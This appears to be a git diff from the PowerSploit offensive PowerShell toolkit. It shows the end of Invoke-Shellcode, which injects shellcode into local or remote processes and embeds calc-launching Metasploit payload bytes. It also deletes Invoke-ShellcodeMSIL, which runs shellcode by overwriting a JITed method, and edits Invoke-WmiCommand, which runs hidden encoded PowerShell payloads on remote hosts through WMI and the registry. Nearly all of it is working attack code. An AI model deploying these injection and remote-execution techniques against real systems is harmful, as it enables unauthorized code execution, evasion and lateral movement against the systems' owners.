$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Shellcode injection complete!'
}
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
}
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
$AddressWidth = $null
try {
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
} catch {
throw 'Unable to determine OS processor address width.'
}
switch ($AddressWidth) {
'32' {
$64bitOS = $False
}
'64' {
$64bitOS = $True
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
default {
throw 'Invalid OS address width detected.'
}
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
# 64-bit payload
# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
} }

View File

@ -1,267 +0,0 @@
function Invoke-ShellcodeMSIL
{
<#
.SYNOPSIS
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
PowerSploit Function: Invoke-ShellcodeMSIL
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions.
.PARAMETER Shellcode
Specifies the shellcode to be executed.
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
.NOTES
Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash!
Use the '-Verbose' option to print detailed information.
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Parameter( Mandatory = $True )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode
)
function Get-MethodAddress
{
[CmdletBinding()] Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[System.Reflection.MethodInfo]
$MethodInfo
)
if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall')
{
Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address."
}
try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
{
if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] }
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly')
# Assemble in memory
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule')
$TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public)
# Declaration of the LeakMethod method
$MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null)
$Generator = $MethodBuilder.GetILGenerator()
# Push unmanaged pointer to MethodInfo onto the evaluation stack
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
# Assemble everything
$Type = $TypeBuilder.CreateType()
}
$Method = $Type.GetMethod('LeakMethod')
try
{
# Call the method and return its JITed address
$Address = $Method.Invoke($null, @())
Write-Output (New-Object IntPtr -ArgumentList $Address)
}
catch [System.Management.Automation.MethodInvocationException]
{
Write-Error "$($MethodInfo.Name) cannot return an unmanaged address."
}
}
#region Define the method that will perform the overwrite
try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
{
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
$Constructor = $Att.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$AssemblyBuilder.SetCustomAttribute($AttribBuilder)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher')
$ModAtt = New-Object System.Security.UnverifiableCodeAttribute
$Constructor = $ModAtt.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
$TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public)
$Params = New-Object System.Type[](3)
$Params[0] = [IntPtr]
$Params[1] = [IntPtr]
$Params[2] = [Int32]
$MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params)
$Generator = $MethodBuilder.GetILGenerator()
# The following MSIL opcodes are effectively a memcpy
# arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
$SmasherType = $TypeBuilder.CreateType()
}
$OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod')
#endregion
#region Define the method that we're going to overwrite
try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
{
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
$Constructor = $Att.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$AssemblyBuilder.SetCustomAttribute($AttribBuilder)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe')
$ModAtt = New-Object System.Security.UnverifiableCodeAttribute
$Constructor = $ModAtt.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
$TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public)
$Params = New-Object System.Type[](1)
$Params[0] = [Int]
$MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params)
$Generator = $MethodBuilder.GetILGenerator()
$XorValue = 0x41424344
$Generator.DeclareLocal([Int]) | Out-Null
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
# The following MSIL opcodes serve two purposes:
# 1) Serves as a dummy XOR function to take up space in memory when it gets jitted
# 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode.
foreach ($CodeBlock in 1..100)
{
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0)
$XorValue++
}
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
$Type = $TypeBuilder.CreateType()
}
$TargetMethod = $Type.GetMethod('OverwriteMe')
#endregion
# Force the target method to be JITed so that is can be cleanly overwritten
Write-Verbose 'Forcing target method to be JITed...'
foreach ($Exec in 1..20)
{
$TargetMethod.Invoke($null, @(0x11112222)) | Out-Null
}
if ( [IntPtr]::Size -eq 4 )
{
# x86 Shellcode stub
$FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
<#
00000000 60 pushad
00000001 E804000000 call dword 0xa
00000006 61 popad
00000007 31C0 xor eax,eax
00000009 C3 ret
YOUR SHELLCODE WILL BE PLACED HERE...
#>
Write-Verbose 'Preparing x86 shellcode...'
}
else
{
# x86_64 shellcode stub
$FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,
0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,
0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,
0x31,0xC0,0xC3)
<#
00000000 4154 push r12
00000002 4155 push r13
00000004 4156 push r14
00000006 4157 push r15
00000008 55 push rbp
00000009 E80D000000 call dword 0x1b
0000000E 5D pop rbp
0000000F 415F pop r15
00000011 415E pop r14
00000013 415D pop r13
00000015 415C pop r12
00000017 4831C0 xor rax,rax
0000001A C3 ret
YOUR SHELLCODE WILL BE PLACED HERE...
#>
Write-Verbose 'Preparing x86_64 shellcode...'
}
# Append user-provided shellcode.
$FinalShellcode += $Shellcode
# Allocate pinned memory for our shellcode
$ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length)
Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))."
# Copy the original shellcode bytes into the pinned, unmanaged memory.
# Note: this region of memory if marked PAGE_READWRITE
[Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length)
$TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod)
Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))"
Write-Verbose 'Overwriting dummy method with the shellcode...'
$Arguments = New-Object Object[](3)
$Arguments[0] = $TargetMethodAddress
$Arguments[1] = $ShellcodeAddress
$Arguments[2] = $FinalShellcode.Length
# Overwrite the dummy method with the shellcode opcodes
$OverwriteMethod.Invoke($null, $Arguments)
Write-Verbose 'Executing shellcode...'
# 'Invoke' our shellcode >D
$ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222))
if ($ShellcodeReturnValue -eq 0)
{
Write-Verbose 'Shellcode executed successfully!'
}
}

View File

@ -1,5 +1,3 @@
#Requires -Version 2
function Invoke-WmiCommand { function Invoke-WmiCommand {
<# <#
.SYNOPSIS .SYNOPSIS
@ -185,7 +183,7 @@ the output of your payload back. :P
[Management.Automation.PSCredential] [Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()] [Management.Automation.CredentialAttribute()]
$Credential, $Credential = [Management.Automation.PSCredential]::Empty,
[Management.ImpersonationLevel] [Management.ImpersonationLevel]
$Impersonation, $Impersonation,
@ -209,6 +207,8 @@ the output of your payload back. :P
'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 } 'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
} }
$HKEY_LOCAL_MACHINE = 2147483650
$WmiMethodArgs = @{} $WmiMethodArgs = @{}
# If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
@ -253,6 +253,18 @@ the output of your payload back. :P
throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand." throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
} }
$PSSettingsPath = 'SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell'
$PSPathValueName = 'Path'
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKEY_LOCAL_MACHINE, $PSSettingsPath, $PSPathValueName
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to obtain powershell.exe path from the following registry value: HKEY_LOCAL_MACHINE\$PSSettingsPath\$PSPathValueName"
}
$PowerShellPath = $Result.sValue
Write-Verbose "[$Computer] Full PowerShell path: $PowerShellPath"
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload)) $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload))
Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
@ -282,18 +294,25 @@ the output of your payload back. :P
if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) { if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) {
$Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue)) $Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue))
$SerilizedPayloadResult = Invoke-Expression ($Payload) | % { $TempSerializedResultPath = [IO.Path]::GetTempFileName()
[Management.Automation.PSSerializer]::Serialize($_, 4)
} $PayloadResult = Invoke-Expression ($Payload)
Export-Clixml -InputObject $PayloadResult -Path $TempSerializedResultPath
$SerilizedPayloadText = [IO.File]::ReadAllText($TempSerializedResultPath)
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadText, $RegistryResultValueName
Remove-Item -Path $SerilizedPayloadResult -Force
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName $null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
} }
} }
$Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner)) $Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner))
$Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload" $Cmdline = "$PowerShellPath -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
# Execute the payload runner on the remote system # Execute the payload runner on the remote system
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline
@ -301,7 +320,7 @@ the output of your payload back. :P
Start-Sleep -Seconds 5 Start-Sleep -Seconds 5
if ($Result.ReturnValue -ne 0) { if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" throw "[$Computer] Unable to execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
} }
Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
@ -315,7 +334,13 @@ the output of your payload back. :P
Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
$SerilizedPayloadResult = $Result.sValue $SerilizedPayloadResult = $Result.sValue
$PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult)
$TempSerializedResultPath = [IO.Path]::GetTempFileName()
Out-File -InputObject $SerilizedPayloadResult -FilePath $TempSerializedResultPath
$PayloadResult = Import-Clixml -Path $TempSerializedResultPath
Remove-Item -Path $TempSerializedResultPath
$FinalResult = New-Object PSObject -Property @{ $FinalResult = New-Object PSObject -Property @{
PSComputerName = $Computer PSComputerName = $Computer

View File

@ -4,7 +4,7 @@
ModuleToProcess = 'Exfiltration.psm1' ModuleToProcess = 'Exfiltration.psm1'
# Version number of this module. # Version number of this module.
ModuleVersion = '1.0.0.0' ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module # ID used to uniquely identify this module
GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a' GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'
@ -12,9 +12,6 @@ GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'
# Author of this module # Author of this module
Author = 'Matthew Graeber' Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
